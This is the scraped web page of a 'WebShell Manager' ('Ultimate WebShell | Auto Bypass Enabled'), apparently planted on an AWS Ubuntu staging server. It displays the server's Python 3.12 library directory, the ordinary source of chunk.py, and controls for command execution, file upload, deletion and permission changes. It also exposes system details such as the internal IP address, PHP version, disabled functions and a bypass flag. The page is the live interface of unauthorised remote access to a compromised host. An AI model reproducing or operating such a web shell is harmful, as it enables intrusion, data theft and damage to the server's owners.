WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core24
1643
usr
lib
python3.12
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 04:18:08
-
__phello__
Folder
-
0755
2026-04-10 04:18:08
__pycache__
Folder
-
0755
2026-04-10 04:18:08
asyncio
Folder
-
0755
2026-04-10 04:18:08
collections
Folder
-
0755
2026-04-10 04:18:08
concurrent
Folder
-
0755
2026-04-10 04:18:08
ctypes
Folder
-
0755
2026-04-10 04:18:08
curses
Folder
-
0755
2026-04-10 04:18:08
dbm
Folder
-
0755
2026-04-10 04:18:08
email
Folder
-
0755
2026-04-10 04:18:08
encodings
Folder
-
0755
2026-04-10 04:18:08
html
Folder
-
0755
2026-04-10 04:18:08
http
Folder
-
0755
2026-04-10 04:18:08
importlib
Folder
-
0755
2026-04-10 04:18:08
json
Folder
-
0755
2026-04-10 04:18:08
lib-dynload
Folder
-
0755
2026-04-10 04:18:08
logging
Folder
-
0755
2026-04-10 04:18:08
multiprocessing
Folder
-
0755
2026-04-10 04:18:08
pydoc_data
Folder
-
0755
2026-04-10 04:18:08
re
Folder
-
0755
2026-04-10 04:18:08
sqlite3
Folder
-
0755
2026-04-10 04:18:08
test
Folder
-
0755
2026-04-10 04:18:08
tomllib
Folder
-
0755
2026-04-10 04:18:08
unittest
Folder
-
0755
2026-04-10 04:18:08
urllib
Folder
-
0755
2026-04-10 04:18:08
venv
Folder
-
0755
2026-04-10 04:18:08
wsgiref
Folder
-
0755
2026-04-10 04:18:08
xml
Folder
-
0755
2026-04-10 04:18:08
xmlrpc
Folder
-
0755
2026-04-10 04:18:08
zipfile
Folder
-
0755
2026-04-10 04:18:08
zoneinfo
Folder
-
0755
2026-04-10 04:18:08
EXTERNALLY-MANAGED
File
645 B
0644
2026-03-03 12:15:18
LICENSE.txt
File
13.61 KB
0644
2026-03-03 12:15:18
__future__.py
File
5.1 KB
0644
2026-03-03 12:15:18
__hello__.py
File
227 B
0644
2026-03-03 12:15:18
_aix_support.py
File
3.93 KB
0644
2026-03-03 12:15:18
_collections_abc.py
File
31.33 KB
0644
2026-03-03 12:15:18
_compat_pickle.py
File
8.56 KB
0644
2026-03-03 12:15:18
_compression.py
File
5.55 KB
0644
2026-03-03 12:15:18
_distutils_system_mod.py
File
5.58 KB
0644
2026-03-03 12:15:18
_markupbase.py
File
14.31 KB
0644
2026-03-03 12:15:18
_osx_support.py
File
21.51 KB
0644
2026-03-03 12:15:18
_py_abc.py
File
6.04 KB
0644
2026-03-03 12:15:18
_pydatetime.py
File
89.94 KB
0644
2026-03-03 12:15:18
_pydecimal.py
File
223.85 KB
0644
2026-03-03 12:15:18
_pyio.py
File
91.4 KB
0644
2026-03-03 12:15:18
_pylong.py
File
8.83 KB
0644
2026-03-03 12:15:18
_sitebuiltins.py
File
3.05 KB
0644
2026-03-03 12:15:18
_strptime.py
File
24.04 KB
0644
2026-03-03 12:15:18
_sysconfigdata__linux_x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_sysconfigdata__x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_threading_local.py
File
7.05 KB
0644
2026-03-03 12:15:18
_weakrefset.py
File
5.75 KB
0644
2026-03-03 12:15:18
abc.py
File
6.38 KB
0644
2026-03-03 12:15:18
aifc.py
File
33.41 KB
0644
2026-03-03 12:15:18
antigravity.py
File
500 B
0644
2026-03-03 12:15:18
argparse.py
File
99.37 KB
0644
2026-03-03 12:15:18
ast.py
File
62.75 KB
0644
2026-03-03 12:15:18
base64.py
File
20.12 KB
0755
2026-03-03 12:15:18
bdb.py
File
31.7 KB
0644
2026-03-03 12:15:18
bisect.py
File
3.34 KB
0644
2026-03-03 12:15:18
bz2.py
File
11.57 KB
0644
2026-03-03 12:15:18
cProfile.py
File
6.4 KB
0755
2026-03-03 12:15:18
calendar.py
File
24.82 KB
0644
2026-03-03 12:15:18
cgi.py
File
33.61 KB
0755
2026-03-03 12:15:18
cgitb.py
File
12.13 KB
0644
2026-03-03 12:15:18
chunk.py
File
5.37 KB
0644
2026-03-03 12:15:18
cmd.py
File
14.52 KB
0644
2026-03-03 12:15:18
code.py
File
10.44 KB
0644
2026-03-03 12:15:18
codecs.py
File
36.01 KB
0644
2026-03-03 12:15:18
codeop.py
File
5.77 KB
0644
2026-03-03 12:15:18
colorsys.py
File
3.97 KB
0644
2026-03-03 12:15:18
compileall.py
File
20.12 KB
0644
2026-03-03 12:15:18
configparser.py
File
52.53 KB
0644
2026-03-03 12:15:18
contextlib.py
File
26.99 KB
0644
2026-03-03 12:15:18
contextvars.py
File
129 B
0644
2026-03-03 12:15:18
copy.py
File
8.21 KB
0644
2026-03-03 12:15:18
copyreg.py
File
7.44 KB
0644
2026-03-03 12:15:18
crypt.py
File
3.82 KB
0644
2026-03-03 12:15:18
csv.py
File
16 KB
0644
2026-03-03 12:15:18
dataclasses.py
File
60.31 KB
0644
2026-03-03 12:15:18
datetime.py
File
268 B
0644
2026-03-03 12:15:18
decimal.py
File
320 B
0644
2026-03-03 12:15:18
difflib.py
File
81.36 KB
0644
2026-03-03 12:15:18
dis.py
File
29.5 KB
0644
2026-03-03 12:15:18
doctest.py
File
103.98 KB
0644
2026-03-03 12:15:18
enum.py
File
79.72 KB
0644
2026-03-03 12:15:18
filecmp.py
File
9.95 KB
0644
2026-03-03 12:15:18
fileinput.py
File
15.35 KB
0644
2026-03-03 12:15:18
fnmatch.py
File
5.86 KB
0644
2026-03-03 12:15:18
fractions.py
File
37.17 KB
0644
2026-03-03 12:15:18
ftplib.py
File
33.92 KB
0644
2026-03-03 12:15:18
functools.py
File
37.23 KB
0644
2026-03-03 12:15:18
genericpath.py
File
5.44 KB
0644
2026-03-03 12:15:18
getopt.py
File
7.31 KB
0644
2026-03-03 12:15:18
getpass.py
File
5.85 KB
0644
2026-03-03 12:15:18
gettext.py
File
21.24 KB
0644
2026-03-03 12:15:18
glob.py
File
8.53 KB
0644
2026-03-03 12:15:18
graphlib.py
File
9.43 KB
0644
2026-03-03 12:15:18
gzip.py
File
24.28 KB
0644
2026-03-03 12:15:18
hashlib.py
File
9.13 KB
0644
2026-03-03 12:15:18
heapq.py
File
22.48 KB
0644
2026-03-03 12:15:18
hmac.py
File
7.54 KB
0644
2026-03-03 12:15:18
imaplib.py
File
52.43 KB
0644
2026-03-03 12:15:18
imghdr.py
File
4.29 KB
0644
2026-03-03 12:15:18
inspect.py
File
122.48 KB
0644
2026-03-03 12:15:18
io.py
File
3.5 KB
0644
2026-03-03 12:15:18
ipaddress.py
File
76.46 KB
0644
2026-03-03 12:15:18
keyword.py
File
1.05 KB
0644
2026-03-03 12:15:18
linecache.py
File
5.52 KB
0644
2026-03-03 12:15:18
locale.py
File
76.72 KB
0644
2026-03-03 12:15:18
lzma.py
File
12.97 KB
0644
2026-03-03 12:15:18
mailbox.py
File
77.06 KB
0644
2026-03-03 12:15:18
mailcap.py
File
9.11 KB
0644
2026-03-03 12:15:18
mimetypes.py
File
22.35 KB
0644
2026-03-03 12:15:18
modulefinder.py
File
23.14 KB
0644
2026-03-03 12:15:18
netrc.py
File
6.76 KB
0644
2026-03-03 12:15:18
nntplib.py
File
40.12 KB
0644
2026-03-03 12:15:18
ntpath.py
File
29.32 KB
0644
2026-03-03 12:15:18
nturl2path.py
File
2.82 KB
0644
2026-03-03 12:15:18
numbers.py
File
11.2 KB
0644
2026-03-03 12:15:18
opcode.py
File
12.87 KB
0644
2026-03-03 12:15:18
operator.py
File
10.71 KB
0644
2026-03-03 12:15:18
optparse.py
File
58.95 KB
0644
2026-03-03 12:15:18
os.py
File
38.85 KB
0644
2026-03-03 12:15:18
pathlib.py
File
49.95 KB
0644
2026-03-03 12:15:18
pdb.py
File
67.83 KB
0755
2026-03-03 12:15:18
pickle.py
File
63.38 KB
0644
2026-03-03 12:15:18
pickletools.py
File
91.66 KB
0644
2026-03-03 12:15:18
pipes.py
File
8.77 KB
0644
2026-03-03 12:15:18
pkgutil.py
File
17.85 KB
0644
2026-03-03 12:15:18
platform.py
File
42.32 KB
0755
2026-03-03 12:15:18
plistlib.py
File
27.91 KB
0644
2026-03-03 12:15:18
poplib.py
File
13.83 KB
0644
2026-03-03 12:15:18
posixpath.py
File
17.21 KB
0644
2026-03-03 12:15:18
pprint.py
File
23.59 KB
0644
2026-03-03 12:15:18
profile.py
File
22.55 KB
0755
2026-03-03 12:15:18
pstats.py
File
28.6 KB
0644
2026-03-03 12:15:18
pty.py
File
5.99 KB
0644
2026-03-03 12:15:18
py_compile.py
File
7.69 KB
0644
2026-03-03 12:15:18
pyclbr.py
File
11.13 KB
0644
2026-03-03 12:15:18
pydoc.py
File
110.44 KB
0755
2026-03-03 12:15:18
queue.py
File
11.23 KB
0644
2026-03-03 12:15:18
quopri.py
File
7.01 KB
0755
2026-03-03 12:15:18
random.py
File
33.87 KB
0644
2026-03-03 12:15:18
reprlib.py
File
6.42 KB
0644
2026-03-03 12:15:18
rlcompleter.py
File
7.64 KB
0644
2026-03-03 12:15:18
runpy.py
File
12.6 KB
0644
2026-03-03 12:15:18
sched.py
File
6.2 KB
0644
2026-03-03 12:15:18
secrets.py
File
1.94 KB
0644
2026-03-03 12:15:18
selectors.py
File
19.21 KB
0644
2026-03-03 12:15:18
shelve.py
File
8.36 KB
0644
2026-03-03 12:15:18
shlex.py
File
13.04 KB
0644
2026-03-03 12:15:18
shutil.py
File
56.76 KB
0644
2026-03-03 12:15:18
signal.py
File
2.44 KB
0644
2026-03-03 12:15:18
site.py
File
23.34 KB
0644
2026-03-03 12:15:18
sitecustomize.py
File
0 B
0
1970-01-01 00:00:00
smtplib.py
File
42.51 KB
0755
2026-03-03 12:15:18
sndhdr.py
File
7.27 KB
0644
2026-03-03 12:15:18
socket.py
File
36.53 KB
0644
2026-03-03 12:15:18
socketserver.py
File
27.2 KB
0644
2026-03-03 12:15:18
sre_compile.py
File
231 B
0644
2026-03-03 12:15:18
sre_constants.py
File
232 B
0644
2026-03-03 12:15:18
sre_parse.py
File
229 B
0644
2026-03-03 12:15:18
ssl.py
File
49.63 KB
0644
2026-03-03 12:15:18
stat.py
File
5.36 KB
0644
2026-03-03 12:15:18
statistics.py
File
49.05 KB
0644
2026-03-03 12:15:18
string.py
File
11.51 KB
0644
2026-03-03 12:15:18
stringprep.py
File
12.61 KB
0644
2026-03-03 12:15:18
struct.py
File
257 B
0644
2026-03-03 12:15:18
subprocess.py
File
86.65 KB
0644
2026-03-03 12:15:18
sunau.py
File
18.04 KB
0644
2026-03-03 12:15:18
symtable.py
File
10.5 KB
0644
2026-03-03 12:15:18
sysconfig.py
File
32 KB
0644
2026-03-03 12:15:18
tabnanny.py
File
11.26 KB
0755
2026-03-03 12:15:18
tarfile.py
File
109.92 KB
0755
2026-03-03 12:15:18
telnetlib.py
File
22.75 KB
0644
2026-03-03 12:15:18
tempfile.py
File
36.46 KB
0644
2026-03-03 12:15:18
textwrap.py
File
19.26 KB
0644
2026-03-03 12:15:18
this.py
File
1003 B
0644
2026-03-03 12:15:18
threading.py
File
58.71 KB
0644
2026-03-03 12:15:18
timeit.py
File
13.15 KB
0755
2026-03-03 12:15:18
token.py
File
2.42 KB
0644
2026-03-03 12:15:18
tokenize.py
File
20.72 KB
0644
2026-03-03 12:15:18
trace.py
File
28.5 KB
0755
2026-03-03 12:15:18
traceback.py
File
45.24 KB
0644
2026-03-03 12:15:18
tracemalloc.py
File
17.62 KB
0644
2026-03-03 12:15:18
tty.py
File
1.99 KB
0644
2026-03-03 12:15:18
turtle.py
File
142.93 KB
0644
2026-03-03 12:15:18
types.py
File
10.74 KB
0644
2026-03-03 12:15:18
typing.py
File
114.68 KB
0644
2026-03-03 12:15:18
uu.py
File
7.19 KB
0755
2026-03-03 12:15:18
uuid.py
File
28.96 KB
0644
2026-03-03 12:15:18
warnings.py
File
21.25 KB
0644
2026-03-03 12:15:18
wave.py
File
22.24 KB
0644
2026-03-03 12:15:18
weakref.py
File
21.01 KB
0644
2026-03-03 12:15:18
webbrowser.py
File
23.07 KB
0755
2026-03-03 12:15:18
xdrlib.py
File
5.8 KB
0644
2026-03-03 12:15:18
zipapp.py
File
7.37 KB
0644
2026-03-03 12:15:18
zipimport.py
File
27.47 KB
0644
2026-03-03 12:15:18
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: chunk.py
"""Simple class to read IFF chunks. An IFF chunk (used in formats such as AIFF, TIFF, RMFF (RealMedia File Format)) has the following structure: +----------------+ | ID (4 bytes) | +----------------+ | size (4 bytes) | +----------------+ | data | | ... | +----------------+ The ID is a 4-byte string which identifies the type of chunk. The size field (a 32-bit value, encoded using big-endian byte order) gives the size of the whole chunk, including the 8-byte header. Usually an IFF-type file consists of one or more chunks. The proposed usage of the Chunk class defined here is to instantiate an instance at the start of each chunk and read from the instance until it reaches the end, after which a new instance can be instantiated. At the end of the file, creating a new instance will fail with an EOFError exception. Usage: while True: try: chunk = Chunk(file) except EOFError: break chunktype = chunk.getname() while True: data = chunk.read(nbytes) if not data: pass # do something with data The interface is file-like. The implemented methods are: read, close, seek, tell, isatty. Extra methods are: skip() (called by close, skips to the end of the chunk), getname() (returns the name (ID) of the chunk) The __init__ method has one required argument, a file-like object (including a chunk instance), and one optional argument, a flag which specifies whether or not chunks are aligned on 2-byte boundaries. The default is 1, i.e. aligned. """ import warnings warnings._deprecated(__name__, remove=(3, 13)) class Chunk: def __init__(self, file, align=True, bigendian=True, inclheader=False): import struct self.closed = False self.align = align # whether to align to word (2-byte) boundaries if bigendian: strflag = '>' else: strflag = '<' self.file = file self.chunkname = file.read(4) if len(self.chunkname) < 4: raise EOFError try: self.chunksize = struct.unpack_from(strflag+'L', file.read(4))[0] except struct.error: raise EOFError from None if inclheader: self.chunksize = self.chunksize - 8 # subtract header self.size_read = 0 try: self.offset = self.file.tell() except (AttributeError, OSError): self.seekable = False else: self.seekable = True def getname(self): """Return the name (ID) of the current chunk.""" return self.chunkname def getsize(self): """Return the size of the current chunk.""" return self.chunksize def close(self): if not self.closed: try: self.skip() finally: self.closed = True def isatty(self): if self.closed: raise ValueError("I/O operation on closed file") return False def seek(self, pos, whence=0): """Seek to specified position into the chunk. Default position is 0 (start of chunk). If the file is not seekable, this will result in an error. """ if self.closed: raise ValueError("I/O operation on closed file") if not self.seekable: raise OSError("cannot seek") if whence == 1: pos = pos + self.size_read elif whence == 2: pos = pos + self.chunksize if pos < 0 or pos > self.chunksize: raise RuntimeError self.file.seek(self.offset + pos, 0) self.size_read = pos def tell(self): if self.closed: raise ValueError("I/O operation on closed file") return self.size_read def read(self, size=-1): """Read at most size bytes from the chunk. If size is omitted or negative, read until the end of the chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.size_read >= self.chunksize: return b'' if size < 0: size = self.chunksize - self.size_read if size > self.chunksize - self.size_read: size = self.chunksize - self.size_read data = self.file.read(size) self.size_read = self.size_read + len(data) if self.size_read == self.chunksize and \ self.align and \ (self.chunksize & 1): dummy = self.file.read(1) self.size_read = self.size_read + len(dummy) return data def skip(self): """Skip the rest of the chunk. If you are not interested in the contents of the chunk, this method should be called so that the file points to the start of the next chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.seekable: try: n = self.chunksize - self.size_read # maybe fix alignment if self.align and (self.chunksize & 1): n = n + 1 self.file.seek(n, 1) self.size_read = self.size_read + n return except OSError: pass while self.size_read < self.chunksize: n = min(8192, self.chunksize - self.size_read) dummy = self.read(n) if not dummy: raise EOFError
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED